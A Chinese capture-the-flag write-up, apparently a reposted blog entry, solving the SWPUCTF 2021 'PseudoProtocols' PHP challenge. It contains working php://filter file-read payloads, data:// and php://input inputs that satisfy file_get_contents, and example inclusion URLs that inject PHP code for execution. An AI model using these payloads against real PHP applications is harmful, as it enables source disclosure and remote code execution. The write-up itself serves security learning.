php伪协议 [SWPUCTF 2021 新生赛]PseudoProtocols

发布时间:2023年12月21日

根据题目提示

我们直接用伪协议读取hint.php即可

php://filter/read=convert.base64-encode/resource=hint.php

我们把得到的编码拿去base64解密一下得到

那我们直接去访问一下

也可以用伪协议继续读取,只不过最后要base64解密一下

php://filter/read=convert.base64-encode/resource=test2222222222222.php

?我们简单分析一下代码

<?php
ini_set("max_execution_time",?"180");
show_source(__FILE__);
include('flag.php');
$a=?$_GET["a"];
if(isset($a)&&(file_get_contents($a,'r'))?===?'I?want?flag'){
????echo?"success\n";
????echo?$flag;
}
?>

?文件包含了一个flag.php,如果我们get传入一个a且不为空,a参数利用file_get_contents()参数只读形式打开,打开内容要和I want flag 字符串内容相匹配,才能输出我们想要的flag

第一种解法

test2222222222222.php?a=data://text/plain,I want flag

得到flag

第二种解法

test2222222222222.php?a=php://input

然后post个 I want flag 的值上去

知识点:

file://伪协议 (读取文件内容)

通过file协议可以访问本地文件系统,读取到文件的内容

data://(读取文件)

和php伪协议的input类似,碰到file_get_contents()来用

data:// 数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

示例用法:

1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
?
2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

php://input(任意代码执行)

遇到file_get_contents()要想到用php://input绕过。

php://input 可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

例如:

http://127.0.0.1/cmd.php?cmd=php://input
POST数据:<?php phpinfo()?>

文章来源:https://blog.csdn.net/m0_75178803/article/details/135127082
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。